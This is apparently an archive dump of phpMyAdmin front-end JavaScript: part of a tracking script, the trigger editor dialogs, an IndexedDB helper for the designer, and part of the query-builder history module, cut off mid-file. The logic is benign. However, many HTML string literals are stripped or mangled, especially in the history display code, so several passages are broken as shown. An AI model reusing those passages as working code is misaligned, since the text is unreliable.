')); $noVersions.tablesorter({ sortList: [[1, 0]], headers: { 0: { sorter: false }, 2: { sorter: false } } }); var $body = $('body'); /** * Handles multi submit for tracked tables */ $body.on('click', '#trackedForm.ajax button[name="submit_mult"], #trackedForm.ajax input[name="submit_mult"]', function (e) { e.preventDefault(); var $button = $(this); var $form = $button.parent('form'); var argsep = CommonParams.get('arg_separator'); var submitData = $form.serialize() + argsep + 'ajax_request=true' + argsep + 'ajax_page_request=true' + argsep + 'submit_mult=' + $button.val(); if ($button.val() === 'delete_tracking') { var question = Messages.strDeleteTrackingDataMultiple; $button.confirm(question, $form.attr('action'), function (url) { Functions.ajaxShowMessage(Messages.strDeletingTrackingData); AJAX.source = $form; $.post(url, submitData, AJAX.responseHandler); }); } else { Functions.ajaxShowMessage(); AJAX.source = $form; $.post($form.attr('action'), submitData, AJAX.responseHandler); } }); /** * Handles multi submit for untracked tables */ $body.on('click', '#untrackedForm.ajax button[name="submit_mult"], #untrackedForm.ajax input[name="submit_mult"]', function (e) { e.preventDefault(); var $button = $(this); var $form = $button.parent('form'); var argsep = CommonParams.get('arg_separator'); var submitData = $form.serialize() + argsep + 'ajax_request=true' + argsep + 'ajax_page_request=true' + argsep + 'submit_mult=' + $button.val(); Functions.ajaxShowMessage(); AJAX.source = $form; $.post($form.attr('action'), submitData, AJAX.responseHandler); }); /** * Ajax Event handler for 'Delete tracking' */ $body.on('click', 'a.delete_tracking_anchor.ajax', function (e) { e.preventDefault(); var $anchor = $(this); var question = Messages.strDeleteTrackingData; $anchor.confirm(question, $anchor.attr('href'), function (url) { Functions.ajaxShowMessage(Messages.strDeletingTrackingData); AJAX.source = $anchor; var argSep = CommonParams.get('arg_separator'); var params = Functions.getJsConfirmCommonParam(this, $anchor.getPostData()); params += argSep + 'ajax_page_request=1'; $.post(url, params, AJAX.responseHandler); }); }); });dist/database/triggers.js000066600000050137151724472050011460 0ustar00AJAX.registerTeardown('database/triggers.js', function () { $(document).off('click', 'a.ajax.add_anchor, a.ajax.edit_anchor'); $(document).off('click', 'a.ajax.export_anchor'); $(document).off('click', '#bulkActionExportButton'); $(document).off('click', 'a.ajax.drop_anchor'); $(document).off('click', '#bulkActionDropButton'); }); const DatabaseTriggers = { /** * @var $ajaxDialog Query object containing the reference to the * dialog that contains the editor */ $ajaxDialog: null, /** * @var syntaxHiglighter Reference to the codemirror editor */ syntaxHiglighter: null, /** * Validate editor form fields. * * @return {bool} */ validate: function () { /** * @var $elm a jQuery object containing the reference * to an element that is being validated */ var $elm = null; // Common validation. At the very least the name // and the definition must be provided for an item $elm = $('table.rte_table').last().find('input[name=item_name]'); if ($elm.val() === '') { $elm.trigger('focus'); alert(Messages.strFormEmpty); return false; } $elm = $('table.rte_table').find('textarea[name=item_definition]'); if ($elm.val() === '') { if (this.syntaxHiglighter !== null) { this.syntaxHiglighter.focus(); } else { $('textarea[name=item_definition]').last().trigger('focus'); } alert(Messages.strFormEmpty); return false; } // The validation has so far passed, so now // we can validate item-specific fields. return this.validateCustom(); }, // end validate() /** * Validate custom editor form fields. * This function can be overridden by * other files in this folder * * @return {bool} */ validateCustom: function () { return true; }, // end validateCustom() exportDialog: function ($this) { var $msg = Functions.ajaxShowMessage(); if ($this.attr('id') === 'bulkActionExportButton') { var combined = { success: true, title: Messages.strExport, message: '', error: '' }; // export anchors of all selected rows var exportAnchors = $('input.checkall:checked').parents('tr').find('.export_anchor'); var count = exportAnchors.length; var returnCount = 0; var p = $.when(); exportAnchors.each(function () { var h = $(this).attr('href'); p = p.then(function () { return $.get(h, { 'ajax_request': true }, function (data) { returnCount++; if (data.success === true) { combined.message += '\n' + data.message + '\n'; if (returnCount === count) { showExport(combined); } } else { // complain even if one export is failing combined.success = false; combined.error += '\n' + data.error + '\n'; if (returnCount === count) { showExport(combined); } } }); }); }); } else { $.get($this.attr('href'), { 'ajax_request': true }, showExport); } Functions.ajaxRemoveMessage($msg); function showExport(data) { if (data.success === true) { Functions.ajaxRemoveMessage($msg); /** * @var buttonOptions Object containing options * for jQueryUI dialog buttons */ var buttonOptions = { [Messages.strClose]: { text: Messages.strClose, class: 'btn btn-primary' } }; buttonOptions[Messages.strClose].click = function () { $(this).dialog('close').remove(); }; /** * Display the dialog to the user */ data.message = ''; var $ajaxDialog = $('
' + data.message + '
').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, width: 500, buttons: buttonOptions, title: data.title }); // Attach syntax highlighted editor to export dialog /** * @var $elm jQuery object containing the reference * to the Export textarea. */ var $elm = $ajaxDialog.find('textarea'); Functions.getSqlEditor($elm); } else { Functions.ajaxShowMessage(data.error, false); } } // end showExport() }, // end exportDialog() editorDialog: function (isNew, $this) { var that = this; /** * @var $edit_row jQuery object containing the reference to * the row of the the item being edited * from the list of items */ var $editRow = null; if ($this.hasClass('edit_anchor')) { // Remember the row of the item being edited for later, // so that if the edit is successful, we can replace the // row with info about the modified item. $editRow = $this.parents('tr'); } /** * @var $msg jQuery object containing the reference to * the AJAX message shown to the user */ var $msg = Functions.ajaxShowMessage(); $.get($this.attr('href'), { 'ajax_request': true }, function (data) { if (data.success === true) { var buttonOptions = { [Messages.strGo]: { text: Messages.strGo, class: 'btn btn-primary' }, [Messages.strClose]: { text: Messages.strClose, class: 'btn btn-secondary' } }; // We have successfully fetched the editor form Functions.ajaxRemoveMessage($msg); // Now define the function that is called when // the user presses the "Go" button buttonOptions[Messages.strGo].click = function () { // Move the data from the codemirror editor back to the // textarea, where it can be used in the form submission. if (typeof CodeMirror !== 'undefined') { that.syntaxHiglighter.save(); } // Validate editor and submit request, if passed. if (that.validate()) { /** * @var data Form data to be sent in the AJAX request */ var data = $('form.rte_form').last().serialize(); $msg = Functions.ajaxShowMessage(Messages.strProcessingRequest); var url = $('form.rte_form').last().attr('action'); $.post(url, data, function (data) { if (data.success === true) { // Item created successfully Functions.ajaxRemoveMessage($msg); Functions.slidingMessage(data.message); that.$ajaxDialog.dialog('close'); // If we are in 'edit' mode, we must // remove the reference to the old row. if (mode === 'edit' && $editRow !== null) { $editRow.remove(); } // Sometimes, like when moving a trigger from // a table to another one, the new row should // not be inserted into the list. In this case // "data.insert" will be set to false. if (data.insert) { // Insert the new row at the correct // location in the list of items /** * @var text Contains the name of an item from * the list that is used in comparisons * to find the correct location where * to insert a new row. */ var text = ''; /** * @var inserted Whether a new item has been * inserted in the list or not */ var inserted = false; $('table.data').find('tr').each(function () { text = $(this).children('td').eq(0).find('strong').text().toUpperCase().trim(); if (text !== '' && text > data.name) { $(this).before(data.new_row); inserted = true; return false; } }); if (!inserted) { // If we didn't manage to insert the row yet, // it must belong at the end of the list, // so we insert it there. $('table.data').append(data.new_row); } // Fade-in the new row $('tr.ajaxInsert').show('slow').removeClass('ajaxInsert'); } else if ($('table.data').find('tr').has('td').length === 0) { // If we are not supposed to insert the new row, // we will now check if the table is empty and // needs to be hidden. This will be the case if // we were editing the only item in the list, // which we removed and will not be inserting // something else in its place. $('table.data').hide('slow', function () { $('#nothing2display').show('slow'); }); } // Now we have inserted the row at the correct // position, but surely at least some row classes // are wrong now. So we will iterate through // all rows and assign correct classes to them /** * @var ct Count of processed rows */ var ct = 0; /** * @var rowclass Class to be attached to the row * that is being processed */ var rowclass = ''; $('table.data').find('tr').has('td').each(function () { rowclass = ct % 2 === 0 ? 'odd' : 'even'; $(this).removeClass().addClass(rowclass); ct++; }); // If this is the first item being added, remove // the "No items" message and show the list. if ($('table.data').find('tr').has('td').length > 0 && $('#nothing2display').is(':visible')) { $('#nothing2display').hide('slow', function () { $('table.data').show('slow'); }); } Navigation.reload(); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() } // end "if (that.validate())" }; // end of function that handles the submission of the Editor buttonOptions[Messages.strClose].click = function () { $(this).dialog('close'); }; /** * Display the dialog to the user */ that.$ajaxDialog = $('
' + data.message + '
').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, width: 700, minWidth: 500, buttons: buttonOptions, // Issue #15810 - use button titles for modals (eg: new procedure) // Respect the order: title on href tag, href content, title sent in response title: $this.attr('title') || $this.text() || $(data.title).text(), modal: true, open: function () { $('#rteDialog').dialog('option', 'max-height', $(window).height()); if ($('#rteDialog').parents('.ui-dialog').height() > $(window).height()) { $('#rteDialog').dialog('option', 'height', $(window).height()); } $(this).find('input[name=item_name]').trigger('focus'); $(this).find('input.datefield').each(function () { Functions.addDatepicker($(this).css('width', '95%'), 'date'); }); $(this).find('input.datetimefield').each(function () { Functions.addDatepicker($(this).css('width', '95%'), 'datetime'); }); $.datepicker.initialized = false; }, close: function () { $(this).remove(); } }); /** * @var mode Used to remember whether the editor is in * "Edit" or "Add" mode */ var mode = 'add'; if ($('input[name=editor_process_edit]').length > 0) { mode = 'edit'; } // Attach syntax highlighted editor to the definition /** * @var elm jQuery object containing the reference to * the Definition textarea. */ var $elm = $('textarea[name=item_definition]').last(); var linterOptions = {}; linterOptions.triggerEditor = true; that.syntaxHiglighter = Functions.getSqlEditor($elm, {}, 'both', linterOptions); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.get() }, dropDialog: function ($this) { /** * @var $curr_row Object containing reference to the current row */ var $currRow = $this.parents('tr'); /** * @var question String containing the question to be asked for confirmation */ var question = $('
').text($currRow.children('td').children('.drop_sql').html()); // We ask for confirmation first here, before submitting the ajax request $this.confirm(question, $this.attr('href'), function (url) { /** * @var msg jQuery object containing the reference to * the AJAX message shown to the user */ var $msg = Functions.ajaxShowMessage(Messages.strProcessingRequest); var params = Functions.getJsConfirmCommonParam(this, $this.getPostData()); $.post(url, params, function (data) { if (data.success === true) { /** * @var $table Object containing reference * to the main list of elements */ var $table = $currRow.parent(); // Check how many rows will be left after we remove // the one that the user has requested us to remove if ($table.find('tr').length === 3) { // If there are two rows left, it means that they are // the header of the table and the rows that we are // about to remove, so after the removal there will be // nothing to show in the table, so we hide it. $table.hide('slow', function () { $(this).find('tr.even, tr.odd').remove(); $('.withSelected').remove(); $('#nothing2display').show('slow'); }); } else { $currRow.hide('slow', function () { $(this).remove(); // Now we have removed the row from the list, but maybe // some row classes are wrong now. So we will iterate // through all rows and assign correct classes to them. /** * @var ct Count of processed rows */ var ct = 0; /** * @var rowclass Class to be attached to the row * that is being processed */ var rowclass = ''; $table.find('tr').has('td').each(function () { rowclass = ct % 2 === 1 ? 'odd' : 'even'; $(this).removeClass().addClass(rowclass); ct++; }); }); } // Get rid of the "Loading" message Functions.ajaxRemoveMessage($msg); // Show the query that we just executed Functions.slidingMessage(data.sql_query); Navigation.reload(); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() }); }, dropMultipleDialog: function ($this) { // We ask for confirmation here $this.confirm(Messages.strDropRTEitems, '', function () { /** * @var msg jQuery object containing the reference to * the AJAX message shown to the user */ var $msg = Functions.ajaxShowMessage(Messages.strProcessingRequest); // drop anchors of all selected rows var dropAnchors = $('input.checkall:checked').parents('tr').find('.drop_anchor'); var success = true; var count = dropAnchors.length; var returnCount = 0; dropAnchors.each(function () { var $anchor = $(this); /** * @var $curr_row Object containing reference to the current row */ var $currRow = $anchor.parents('tr'); var params = Functions.getJsConfirmCommonParam(this, $anchor.getPostData()); $.post($anchor.attr('href'), params, function (data) { returnCount++; if (data.success === true) { /** * @var $table Object containing reference * to the main list of elements */ var $table = $currRow.parent(); // Check how many rows will be left after we remove // the one that the user has requested us to remove if ($table.find('tr').length === 3) { // If there are two rows left, it means that they are // the header of the table and the rows that we are // about to remove, so after the removal there will be // nothing to show in the table, so we hide it. $table.hide('slow', function () { $(this).find('tr.even, tr.odd').remove(); $('.withSelected').remove(); $('#nothing2display').show('slow'); }); } else { $currRow.hide('fast', function () { // we will iterate // through all rows and assign correct classes to them. /** * @var ct Count of processed rows */ var ct = 0; /** * @var rowclass Class to be attached to the row * that is being processed */ var rowclass = ''; $table.find('tr').has('td').each(function () { rowclass = ct % 2 === 1 ? 'odd' : 'even'; $(this).removeClass().addClass(rowclass); ct++; }); }); $currRow.remove(); } if (returnCount === count) { if (success) { // Get rid of the "Loading" message Functions.ajaxRemoveMessage($msg); $('#rteListForm_checkall').prop({ checked: false, indeterminate: false }); } Navigation.reload(); } } else { Functions.ajaxShowMessage(data.error, false); success = false; if (returnCount === count) { Navigation.reload(); } } }); // end $.post() }); // end drop_anchors.each() }); } }; AJAX.registerOnload('database/triggers.js', function () { /** * Attach Ajax event handlers for the Add/Edit functionality. */ $(document).on('click', 'a.ajax.add_anchor, a.ajax.edit_anchor', function (event) { event.preventDefault(); if ($(this).hasClass('add_anchor')) { $.datepicker.initialized = false; } DatabaseTriggers.editorDialog($(this).hasClass('add_anchor'), $(this)); }); /** * Attach Ajax event handlers for Export */ $(document).on('click', 'a.ajax.export_anchor', function (event) { event.preventDefault(); DatabaseTriggers.exportDialog($(this)); }); $(document).on('click', '#bulkActionExportButton', function (event) { event.preventDefault(); DatabaseTriggers.exportDialog($(this)); }); /** * Attach Ajax event handlers for Drop functionality */ $(document).on('click', 'a.ajax.drop_anchor', function (event) { event.preventDefault(); DatabaseTriggers.dropDialog($(this)); }); $(document).on('click', '#bulkActionDropButton', function (event) { event.preventDefault(); DatabaseTriggers.dropMultipleDialog($(this)); }); });dist/designer/database.js000066600000012727151724472050011435 0ustar00var designerTables = [{ name: 'pdf_pages', key: 'pgNr', autoIncrement: true }, { name: 'table_coords', key: 'id', autoIncrement: true }]; // eslint-disable-next-line no-unused-vars var DesignerOfflineDB = function () { var designerDB = {}; /** * @type {IDBDatabase|null} */ var datastore = null; /** * @param {String} table * @return {IDBTransaction} */ designerDB.getTransaction = function (table) { return datastore.transaction([table], 'readwrite'); }; /** * @param {String} table * @return {IDBObjectStore} */ designerDB.getObjectStore = function (table) { var transaction = designerDB.getTransaction(table); var objStore = transaction.objectStore(table); return objStore; }; /** * @param {IDBTransaction} transaction * @param {String} table * @return {IDBObjectStore} */ designerDB.getCursorRequest = function (transaction, table) { var objStore = transaction.objectStore(table); var keyRange = IDBKeyRange.lowerBound(0); var cursorRequest = objStore.openCursor(keyRange); return cursorRequest; }; /** * @param {Function} callback * @return {void} */ designerDB.open = function (callback) { var version = 1; var request = window.indexedDB.open('pma_designer', version); request.onupgradeneeded = function (e) { var db = e.target.result; e.target.transaction.onerror = designerDB.onerror; var t; for (t in designerTables) { if (db.objectStoreNames.contains(designerTables[t].name)) { db.deleteObjectStore(designerTables[t].name); } } for (t in designerTables) { db.createObjectStore(designerTables[t].name, { keyPath: designerTables[t].key, autoIncrement: designerTables[t].autoIncrement }); } }; request.onsuccess = function (e) { datastore = e.target.result; if (typeof callback === 'function') { callback(true); } }; request.onerror = function () { Functions.ajaxShowMessage(Messages.strIndexedDBNotWorking, null, 'error'); }; }; /** * @param {String} table * @param {String} id * @param {Function} callback * @return {void} */ designerDB.loadObject = function (table, id, callback) { if (datastore === null) { Functions.ajaxShowMessage(Messages.strIndexedDBNotWorking, null, 'error'); return; } var objStore = designerDB.getObjectStore(table); var cursorRequest = objStore.get(parseInt(id)); cursorRequest.onsuccess = function (e) { callback(e.target.result); }; cursorRequest.onerror = designerDB.onerror; }; /** * @param {String} table * @param {Function} callback * @return {void} */ designerDB.loadAllObjects = function (table, callback) { if (datastore === null) { Functions.ajaxShowMessage(Messages.strIndexedDBNotWorking, null, 'error'); return; } var transaction = designerDB.getTransaction(table); var cursorRequest = designerDB.getCursorRequest(transaction, table); var results = []; transaction.oncomplete = function () { callback(results); }; cursorRequest.onsuccess = function (e) { var result = e.target.result; if (Boolean(result) === false) { return; } results.push(result.value); result.continue(); }; cursorRequest.onerror = designerDB.onerror; }; /** * @param {String} table * @param {Function} callback * @return {void} */ designerDB.loadFirstObject = function (table, callback) { if (datastore === null) { Functions.ajaxShowMessage(Messages.strIndexedDBNotWorking, null, 'error'); return; } var transaction = designerDB.getTransaction(table); var cursorRequest = designerDB.getCursorRequest(transaction, table); var firstResult = null; transaction.oncomplete = function () { callback(firstResult); }; cursorRequest.onsuccess = function (e) { var result = e.target.result; if (Boolean(result) === false) { return; } firstResult = result.value; }; cursorRequest.onerror = designerDB.onerror; }; /** * @param {String} table * @param {Object} obj * @param {Function} callback * @return {void} */ designerDB.addObject = function (table, obj, callback) { if (datastore === null) { Functions.ajaxShowMessage(Messages.strIndexedDBNotWorking, null, 'error'); return; } var objStore = designerDB.getObjectStore(table); var request = objStore.put(obj); request.onsuccess = function (e) { if (typeof callback === 'function') { callback(e.currentTarget.result); } }; request.onerror = designerDB.onerror; }; /** * @param {String} table * @param {String} id * @param {Function} callback * @return {void} */ designerDB.deleteObject = function (table, id, callback) { if (datastore === null) { Functions.ajaxShowMessage(Messages.strIndexedDBNotWorking, null, 'error'); return; } var objStore = designerDB.getObjectStore(table); var request = objStore.delete(parseInt(id)); request.onsuccess = function () { if (typeof callback === 'function') { callback(true); } }; request.onerror = designerDB.onerror; }; /** * @param {Error} e * @return {void} */ designerDB.onerror = function (e) { // eslint-disable-next-line no-console console.log(e); }; // Export the designerDB object. return designerDB; }();dist/designer/history.js000066600000063704151724472050011373 0ustar00/** * @fileoverview function used in this file builds history tab and generates query. * * @requires jQuery * @requires move.js */ /* global contr */ // js/designer/init.js /* global fromArray:writable */ // js/designer/move.js /* global themeImagePath */ // templates/javascript/variables.twig var DesignerHistory = {}; var historyArray = []; // Global array to store history objects var selectField = []; // Global array to store information for columns which are used in select clause var gIndex; var vqbEditor = null; /** * To display details of objects(where,rename,Having,aggregate,groupby,orderby,having) * * @param {number} index index of historyArray where change is to be made * @return {string} */ DesignerHistory.detail = function (index) { var type = historyArray[index].getType(); var str; if (type === 'Where') { str = 'Where ' + historyArray[index].getColumnName() + historyArray[index].getObj().getRelationOperator() + historyArray[index].getObj().getQuery(); } else if (type === 'Rename') { str = 'Rename ' + historyArray[index].getColumnName() + ' To ' + historyArray[index].getObj().getRenameTo(); } else if (type === 'Aggregate') { str = 'Select ' + historyArray[index].getObj().getOperator() + '( ' + historyArray[index].getColumnName() + ' )'; } else if (type === 'GroupBy') { str = 'GroupBy ' + historyArray[index].getColumnName(); } else if (type === 'OrderBy') { str = 'OrderBy ' + historyArray[index].getColumnName() + ' ' + historyArray[index].getObj().getOrder(); } else if (type === 'Having') { str = 'Having '; if (historyArray[index].getObj().getOperator() !== 'None') { str += historyArray[index].getObj().getOperator() + '( ' + historyArray[index].getColumnName() + ' )'; str += historyArray[index].getObj().getRelationOperator() + historyArray[index].getObj().getQuery(); } else { str = 'Having ' + historyArray[index].getColumnName() + historyArray[index].getObj().getRelationOperator() + historyArray[index].getObj().getQuery(); } } return str; }; /** * Sorts historyArray[] first,using table name as the key and then generates the HTML code for history tab, * clubbing all objects of same tables together * This function is called whenever changes are made in historyArray[] * * * @param {number} init starting index of unsorted array * @param {number} finit last index of unsorted array * @return {string} */ DesignerHistory.display = function (init, finit) { var str; var i; var j; var k; var sto; var temp; // this part sorts the history array based on table name,this is needed for clubbing all object of same name together. for (i = init; i < finit; i++) { sto = historyArray[i]; temp = historyArray[i].getTab(); // + '.' + historyArray[i].getObjNo(); for Self JOINS for (j = 0; j < i; j++) { if (temp > historyArray[j].getTab()) { // + '.' + historyArray[j].getObjNo())) { //for Self JOINS for (k = i; k > j; k--) { historyArray[k] = historyArray[k - 1]; } historyArray[j] = sto; break; } } } // this part generates HTML code for history tab.adds delete,edit,and/or and detail features with objects. str = ''; // string to store Html code for history tab var historyArrayLength = historyArray.length; for (i = 0; i < historyArrayLength; i++) { temp = historyArray[i].getTab(); // + '.' + historyArray[i].getObjNo(); for Self JOIN str += '

' + temp + '

'; str += '
\n'; while (historyArray[i].getTab() === temp) { // + '.' + historyArray[i].getObjNo()) === temp) { str += '
'; str += ''; } else { str += ''; } str += '' + '' + '' + ''; } else { var detailDesc = $('
').text(DesignerHistory.detail(i)).html(); str += '
' + '' + '' + ''; } str += ''; i++; if (i >= historyArrayLength) { break; } str += '
'; if (historyArray[i].getAndOr()) { str += '' + Functions.getImage('b_sbrowse', Messages.strColumnName) + '' + $('
').text(historyArray[i].getColumnName()).html() + '
'; if (historyArray[i].getType() === 'GroupBy' || historyArray[i].getType() === 'OrderBy') { var detailDescGroupBy = $('
').text(DesignerHistory.detail(i)).html(); str += '
' + Functions.getImage('s_info', DesignerHistory.detail(i)) + '' + historyArray[i].getType() + '' + Functions.getImage('b_drop', Messages.strDelete) + '' + Functions.getImage('s_info', DesignerHistory.detail(i)) + '' + historyArray[i].getType() + '' + Functions.getImage('b_edit', Messages.strEdit) + '' + Functions.getImage('b_drop', Messages.strDelete) + '
'; } i--; str += '
'; } return str; }; /** * To change And/Or relation in history tab * * * @param {number} index index of historyArray where change is to be made * @return {void} */ DesignerHistory.andOr = function (index) { if (historyArray[index].getAndOr()) { historyArray[index].setAndOr(0); } else { historyArray[index].setAndOr(1); } var existingDiv = document.getElementById('ab'); existingDiv.innerHTML = DesignerHistory.display(0, 0); $('#ab').accordion('refresh'); }; /** * Deletes entry in historyArray * * @param {number} index of historyArray[] which is to be deleted * @return {void} */ DesignerHistory.historyDelete = function (index) { var fromArrayLength = fromArray.length; for (var k = 0; k < fromArrayLength; k++) { if (fromArray[k] === historyArray[index].getTab()) { fromArray.splice(k, 1); break; } } historyArray.splice(index, 1); var existingDiv = document.getElementById('ab'); existingDiv.innerHTML = DesignerHistory.display(0, 0); $('#ab').accordion('refresh'); }; /** * @param {string} elementId * @return {void} */ DesignerHistory.changeStyle = function (elementId) { var element = document.getElementById(elementId); element.style.left = '530px'; element.style.top = '130px'; element.style.position = 'absolute'; element.style.zIndex = '103'; element.style.visibility = 'visible'; element.style.display = 'block'; }; /** * To show where,rename,aggregate,having forms to edit a object * * @param {number} index index of historyArray where change is to be made * @return {void} */ DesignerHistory.historyEdit = function (index) { gIndex = index; var type = historyArray[index].getType(); if (type === 'Where') { document.getElementById('eQuery').value = historyArray[index].getObj().getQuery(); document.getElementById('erel_opt').value = historyArray[index].getObj().getRelationOperator(); DesignerHistory.changeStyle('query_where'); } else if (type === 'Having') { document.getElementById('hQuery').value = historyArray[index].getObj().getQuery(); document.getElementById('hrel_opt').value = historyArray[index].getObj().getRelationOperator(); document.getElementById('hoperator').value = historyArray[index].getObj().getOperator(); DesignerHistory.changeStyle('query_having'); } else if (type === 'Rename') { document.getElementById('e_rename').value = historyArray[index].getObj().getRenameTo(); DesignerHistory.changeStyle('query_rename_to'); } else if (type === 'Aggregate') { document.getElementById('e_operator').value = historyArray[index].getObj().getOperator(); DesignerHistory.changeStyle('query_Aggregate'); } }; /** * Make changes in historyArray when Edit button is clicked * checks for the type of object and then sets the new value * * @param {string} type of historyArray where change is to be made * @return {void} */ DesignerHistory.edit = function (type) { if (type === 'Rename') { if (document.getElementById('e_rename').value !== '') { historyArray[gIndex].getObj().setRenameTo(document.getElementById('e_rename').value); document.getElementById('e_rename').value = ''; } document.getElementById('query_rename_to').style.visibility = 'hidden'; } else if (type === 'Aggregate') { if (document.getElementById('e_operator').value !== '---') { historyArray[gIndex].getObj().setOperator(document.getElementById('e_operator').value); document.getElementById('e_operator').value = '---'; } document.getElementById('query_Aggregate').style.visibility = 'hidden'; } else if (type === 'Where') { if (document.getElementById('erel_opt').value !== '--' && document.getElementById('eQuery').value !== '') { historyArray[gIndex].getObj().setQuery(document.getElementById('eQuery').value); historyArray[gIndex].getObj().setRelationOperator(document.getElementById('erel_opt').value); } document.getElementById('query_where').style.visibility = 'hidden'; } else if (type === 'Having') { if (document.getElementById('hrel_opt').value !== '--' && document.getElementById('hQuery').value !== '') { historyArray[gIndex].getObj().setQuery(document.getElementById('hQuery').value); historyArray[gIndex].getObj().setRelationOperator(document.getElementById('hrel_opt').value); historyArray[gIndex].getObj().setOperator(document.getElementById('hoperator').value); } document.getElementById('query_having').style.visibility = 'hidden'; } var existingDiv = document.getElementById('ab'); existingDiv.innerHTML = DesignerHistory.display(0, 0); $('#ab').accordion('refresh'); }; /** * history object closure * * @param nColumnName name of the column on which conditions are put * @param nObj object details(where,rename,orderby,groupby,aggregate) * @param nTab table name of the column on which conditions are applied * @param nObjNo object no used for inner join * @param nType type of object * */ DesignerHistory.HistoryObj = function (nColumnName, nObj, nTab, nObjNo, nType) { var andOr; var obj; var tab; var columnName; var objNo; var type; this.setColumnName = function (nColumnName) { columnName = nColumnName; }; this.getColumnName = function () { return columnName; }; this.setAndOr = function (nAndOr) { andOr = nAndOr; }; this.getAndOr = function () { return andOr; }; this.getRelation = function () { return andOr; }; this.setObj = function (nObj) { obj = nObj; }; this.getObj = function () { return obj; }; this.setTab = function (nTab) { tab = nTab; }; this.getTab = function () { return tab; }; this.setObjNo = function (nObjNo) { objNo = nObjNo; }; this.getObjNo = function () { return objNo; }; this.setType = function (nType) { type = nType; }; this.getType = function () { return type; }; this.setObjNo(nObjNo); this.setTab(nTab); this.setAndOr(0); this.setObj(nObj); this.setColumnName(nColumnName); this.setType(nType); }; /** * where object closure, makes an object with all information of where * * @param nRelationOperator type of relation operator to be applied * @param nQuery stores value of value/sub-query * */ DesignerHistory.Where = function (nRelationOperator, nQuery) { var relationOperator; var query; this.setRelationOperator = function (nRelationOperator) { relationOperator = nRelationOperator; }; this.setQuery = function (nQuery) { query = nQuery; }; this.getQuery = function () { return query; }; this.getRelationOperator = function () { return relationOperator; }; this.setQuery(nQuery); this.setRelationOperator(nRelationOperator); }; /** * Orderby object closure * * @param nOrder order, ASC or DESC */ DesignerHistory.OrderBy = function (nOrder) { var order; this.setOrder = function (nOrder) { order = nOrder; }; this.getOrder = function () { return order; }; this.setOrder(nOrder); }; /** * Having object closure, makes an object with all information of where * * @param nRelationOperator type of relation operator to be applied * @param nQuery stores value of value/sub-query * @param nOperator operator */ DesignerHistory.Having = function (nRelationOperator, nQuery, nOperator) { var relationOperator; var query; var operator; this.setOperator = function (nOperator) { operator = nOperator; }; this.setRelationOperator = function (nRelationOperator) { relationOperator = nRelationOperator; }; this.setQuery = function (nQuery) { query = nQuery; }; this.getQuery = function () { return query; }; this.getRelationOperator = function () { return relationOperator; }; this.getOperator = function () { return operator; }; this.setQuery(nQuery); this.setRelationOperator(nRelationOperator); this.setOperator(nOperator); }; /** * rename object closure,makes an object with all information of rename * * @param nRenameTo new name information * */ DesignerHistory.Rename = function (nRenameTo) { var renameTo; this.setRenameTo = function (nRenameTo) { renameTo = nRenameTo; }; this.getRenameTo = function () { return renameTo; }; this.setRenameTo(nRenameTo); }; /** * aggregate object closure * * @param nOperator aggregate operator * */ DesignerHistory.Aggregate = function (nOperator) { var operator; this.setOperator = function (nOperator) { operator = nOperator; }; this.getOperator = function () { return operator; }; this.setOperator(nOperator); }; /** * This function returns unique element from an array * * @param arrayName array from which duplicate elem are to be removed. * @return unique array */ DesignerHistory.unique = function (arrayName) { var newArray = []; uniquetop: for (var i = 0; i < arrayName.length; i++) { var newArrayLength = newArray.length; for (var j = 0; j < newArrayLength; j++) { if (newArray[j] === arrayName[i]) { continue uniquetop; } } newArray[newArrayLength] = arrayName[i]; } return newArray; }; /** * This function takes in array and a value as input and returns 1 if values is present in array * else returns -1 * * @param arrayName array * @param value value which is to be searched in the array */ DesignerHistory.found = function (arrayName, value) { var arrayNameLength = arrayName.length; for (var i = 0; i < arrayNameLength; i++) { if (arrayName[i] === value) { return 1; } } return -1; }; /** * This function concatenates two array * * @param {object} add array elements of which are pushed in * @param {obj[]} arr array in which elements are added * * @return {obj[]} */ DesignerHistory.addArray = function (add, arr) { var addLength = add.length; for (var i = 0; i < addLength; i++) { arr.push(add[i]); } return arr; }; /** * This function removes all elements present in one array from the other. * * @param {object} rem array from which each element is removed from other array. * @param {obj[]} arr array from which elements are removed. * * @return {obj[]} * */ DesignerHistory.removeArray = function (rem, arr) { var remLength = rem.length; for (var i = 0; i < remLength; i++) { var arrLength = arr.length; for (var j = 0; j < arrLength; j++) { if (rem[i] === arr[j]) { arr.splice(j, 1); } } } return arr; }; /** * This function builds the groupby clause from history object * @return {string} */ DesignerHistory.queryGroupBy = function () { var i; var str = ''; var historyArrayLength = historyArray.length; for (i = 0; i < historyArrayLength; i++) { if (historyArray[i].getType() === 'GroupBy') { str += '`' + historyArray[i].getColumnName() + '`, '; } } str = str.substr(0, str.length - 2); return str; }; /** * This function builds the Having clause from the history object. * @return {string} */ DesignerHistory.queryHaving = function () { var i; var and = '('; var historyArrayLength = historyArray.length; for (i = 0; i < historyArrayLength; i++) { if (historyArray[i].getType() === 'Having') { if (historyArray[i].getObj().getOperator() !== 'None') { and += historyArray[i].getObj().getOperator() + '(`' + historyArray[i].getColumnName() + '`) ' + historyArray[i].getObj().getRelationOperator(); and += ' ' + historyArray[i].getObj().getQuery() + ', '; } else { and += '`' + historyArray[i].getColumnName() + '` ' + historyArray[i].getObj().getRelationOperator() + ' ' + historyArray[i].getObj().getQuery() + ', '; } } } if (and === '(') { and = ''; } else { and = and.substr(0, and.length - 2) + ')'; } return and; }; /** * This function builds the orderby clause from the history object. * @return {string} */ DesignerHistory.queryOrderBy = function () { var i; var str = ''; var historyArrayLength = historyArray.length; for (i = 0; i < historyArrayLength; i++) { if (historyArray[i].getType() === 'OrderBy') { str += '`' + historyArray[i].getColumnName() + '` ' + historyArray[i].getObj().getOrder() + ', '; } } str = str.substr(0, str.length - 2); return str; }; /** * This function builds the Where clause from the history object. * @return {string} */ DesignerHistory.queryWhere = function () { var i; var and = '('; var or = '('; var historyArrayLength = historyArray.length; for (i = 0; i < historyArrayLength; i++) { if (historyArray[i].getType() === 'Where') { if (historyArray[i].getAndOr() === 0) { and += '( `' + historyArray[i].getColumnName() + '` ' + historyArray[i].getObj().getRelationOperator() + ' ' + historyArray[i].getObj().getQuery() + ')'; and += ' AND '; } else { or += '( `' + historyArray[i].getColumnName() + '` ' + historyArray[i].getObj().getRelationOperator() + ' 